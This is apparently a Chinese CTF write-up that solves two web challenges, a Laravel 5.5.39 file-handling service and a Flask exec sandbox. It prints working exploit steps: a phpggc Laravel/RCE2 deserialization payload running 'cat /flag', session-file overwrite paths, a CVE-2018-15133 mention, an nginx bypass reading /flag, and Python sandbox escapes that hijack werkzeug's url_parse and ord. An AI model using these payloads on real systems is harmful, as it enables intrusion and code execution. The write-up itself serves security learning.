比赛的时候忙着最优化,做了个CloudDisk就溜了,不过打了也是丢人…
Web
BestLanguage
给了一个laravel,版本为5.5.39
1 2 3 4 5 6 7 Route::get('/' ,"IndexController@init" ); Route::post('/rm' ,"IndexController@rm" ); Route::get('/tmp/{filename}' , function ($filename) { readfile("/var/tmp/" .$filename); })->where('filename' , '(.*)' ); Route::post('/upload' ,"IndexController@upload" ); Route::get('/move/log/{filename}' , 'IndexController@moveLog' )->where('filename' , '(.*)' );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php namespace App \Http \Controllers ;class IndexController extends Controller { public function init () { if ($_SERVER["REMOTE_ADDR" ] !== "127.0.0.1" && strpos($_SERVER["REMOTE_ADDR" ],"192.168." ) !== 0 && strpos($_SERVER["REMOTE_ADDR" ],"10." ) !== 0 ) { die ("admin only" ); } if (!file_exists("/var/tmp/" .md5($_SERVER["REMOTE_ADDR" ]))){ mkdir("/var/tmp/" .md5($_SERVER["REMOTE_ADDR" ])); } } public function rm () { if (strpos($_POST["filename" ], '../' ) !== false ) die ("???" ); if (file_exists("/var/" .$_POST["filename" ])){ if (is_dir("/var/" .$_POST["filename" ])){ rmdir("/var/" .$_POST["filename" ]); echo "rmdir" ; } else { unlink("/var/" .$_POST["filename" ]); echo "unlink" ; } } } public function upload () { if (strpos($_POST["filename" ], '../' ) !== false ) die ("???" ); file_put_contents("/var/tmp/" .md5($_SERVER["REMOTE_ADDR" ])."/" .$_POST["filename" ],base64_decode($_POST["content" ])); echo "/var/tmp/" .md5($_SERVER["REMOTE_ADDR" ])."/" .$_POST["filename" ]; } public function moveLog ($filename) { $data =date("Y-m-d" ); if (!file_exists(storage_path("logs" )."/" .$data)){ mkdir(storage_path("logs" )."/" .$data); } $opts = array ( 'http' =>array ( 'method' =>"GET" , 'timeout' =>1 , ) ); $content = file_get_contents("http://127.0.0.1/tmp/" .md5('127.0.0.1' )."/" .$filename,false ,stream_context_create($opts)); file_put_contents(storage_path("logs" )."/" .$data."/" .$filename,$content); echo storage_path("logs" )."/" .$data."/" .$filename; } }
预期
nginx特性
/tmp/{filename}路由看起来可以直接读文件,/tmp/../../flag试试
这实际上是nginx的一个特性,nginx会将url中的../转化为绝对路径,并判断其是否超过了url中的根目录,超过了则返回http 400
借用下官方writeup的图
trick1 写文件
继续看其他路由,可以发现:
upload()会将文件写到"/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/"下,但md5($_SERVER["REMOTE_ADDR"])需要在init()中创建
然而init()中会验证ip是否为内网ip…看起来需要一个ssrf?
唯一跟ssrf沾点边的就是moveLog()中的
1 $content = file_get_contents("http://127.0.0.1/tmp/" .md5('127.0.0.1' )."/" .$filename,false ,stream_context_create($opts));
可这真的能够访问到/吗…
如果不用upload()去写文件的话,那moveLog()也就无法使用了
实际上这里需要用一个php文件操作的trick,文件名xxx/.时会认为是xxx
因此访问filename=.即可在/var/tmp/下写文件,文件名为md5($_SERVER["REMOTE_ADDR"])
这个trick的原理和xxx/../是一样的:
php读取、写入文件,都会调用php_stream_open_wrapper_ex来打开流
php_stream_open_wrapper_ex最后会使用tsrm_realpath函数来将filename给标准化成一个绝对路径。
而判断文件存在、重命名、删除文件等操作则无需打开文件流,无法使用这个trick
trick2 移动文件
1 2 $content = file_get_contents("http://127.0.0.1/tmp/" .md5('127.0.0.1' )."/" .$filename,false ,stream_context_create($opts)); file_put_contents(storage_path("logs" )."/" .$data."/" .$filename,$content);
写入文件后自然会想到用moveLog()移动文件,但此时文件名是md5($_SERVER["REMOTE_ADDR"]),可以利用url和路径的差异,使用?或#截断url,比如
1 ../ee3973488c12ec9231af25c6e84309d3?xxx/../test
会将/var/tmp/ee3973488c12ec9231af25c6e84309d3的内容写到storage_path("logs")/test
还是因为nginx特性的原因,只能将文件写到storage_path("logs")下
laravel session反序列化
storage_path("logs")/framework/sessions/下存储了laravel的session文件,如果能覆盖的话可以通过session反序列化拿到flag
不过laravel不使用原生的php session,而是自己弄了一套,session文件名可以根据session id和app key得到固定值
为了防御session固定攻击,laravel每次访问session id都会变…但是session文件名不会变
题目给出了app key,本地搭建环境,远程使用和本地相同的session id即可保证session文件名相同
最后的步骤:
本地搭建环境,记录此时的laravel_session和对应的session文件名
phpggc生成laravel 5.5.39的反序列化payload
1 php .\phpggc -a Laravel/RCE2 system 'cat /flag'
将laravel_session设置成本地值,将payload base64编码后写入/var/tmp/md5($_SERVER["REMOTE_ADDR"])
1 /move/log/..%2Fee3973488c12ec9231af25c6e84309d3%3Fxxx%2F..%2F..%2Fframework%2Fsessions%2FXQJBTIU1E9D5imnmUmI1g9tVC4yWDKYYneRb3CUH
注意这一步要把session改成别的或删掉,不然session文件会在请求处理后修改回去
XQJBTIU1E9D5imnmUmI1g9tVC4yWDKYYneRb3CUH为本地session文件名
将session重新设成本地值,任意访问一个路由即可得到flag
非预期
CVE-2018-15133直接打
非预期2
在http://phoebe233.cn/index.php/archives/53/#bestlanguage 看到的
1 /index.php/tmp/../../flag
多加一个index.php就能绕过nginx的特性了…
pysandbox
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from flask import Flask, requestapp = Flask(__name__) @app.route('/', methods=["POST","GET"]) def security () : secret = request.form["cmd" ] for i in secret: if not 42 <= ord(i) <= 122 : return "error!" exec(secret) return "xXXxXXx" if __name__ == '__main__' : app.run(host="0.0.0.0" )
只允许ascii码42-122的字符,最大的问题就是()没了,无法调用函数
app.static_folder
第一种解法就是常规的flask ssti思路。既然无法调用函数,那就从flask的配置入手,将app.static_folder设为/
1 cmd=app.static_folder%3Dapp.root_path
函数劫持
思路是找到一个参数可控的函数,用xxx=eval将其劫持
可以添加一个路由显示导入的模块
1 2 3 4 5 6 7 @app.route('/info',methods=["POST","GET"]) def info () : modules = sys.modules result = '' for key,value in modules.items(): result = result + key + "<br>" return result
官方wp找的是werkzeug.urls.url_parse
1 def url_parse (url, scheme=None, allow_fragments=True) :
因为werkzeug不在当前模块的全局名称空间中,所以要用继承链去访问。用shrine的脚本找一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 def search (obj, max_depth) : visited_clss = [] visited_objs = [] def visit (obj, path='obj' , depth=0 ) : yield path, obj if depth == max_depth: return elif isinstance(obj, (int, float, bool, str, bytes)): return elif isinstance(obj, type): if obj in visited_clss: return visited_clss.append(obj) print(obj) else : if obj in visited_objs: return visited_objs.append(obj) for name in dir(obj): if name.startswith('__' ) and name.endswith('__' ): if name not in ('__globals__' , '__class__' , '__self__' , '__weakref__' , '__objclass__' , '__module__' ): continue attr = getattr(obj, name) yield from visit(attr, '{}.{}' .format(path, name), depth + 1 ) if hasattr(obj, 'items' ) and callable(obj.items): try : for k, v in obj.items(): yield from visit(v, '{}[{}]' .format(path, repr(k)), depth) except : pass elif isinstance(obj, (set, list, tuple, frozenset)): for i, v in enumerate(obj): yield from visit(v, '{}[{}]' .format(path, repr(i)), depth) yield from visit(obj) @app.route('/find',methods=["POST","GET"]) def find () : for path, obj in search(request,3 ): if obj == 'werkzeug.urls' : return path
返回obj.environ['werkzeug.server.shutdown'].__globals__['uri_to_iri'].__module__,需要修改一下通过request.environ['werkzeug.server.shutdown'].__globals__['uri_to_iri'].__globals__['url_parse']访问到werkzeug.urls.url_parse
接着还需要bypass单引号,常见的request.args因为不是jinja2环境用不了,但可以用request的其他可控属性
之后就可以用url代码执行
lambda表达式劫持ord
http://phoebe233.cn/index.php/archives/53/#menu_index_3 大佬的解法…
正常情况下lambda表达式是需要空格的,不能绕过过滤,比如
1 __builtins__.ord=lambda a:45
配合数组参数可以无空格
1 __builtins__.ord=lamdba*a:45
然后就可以为所欲为了-_-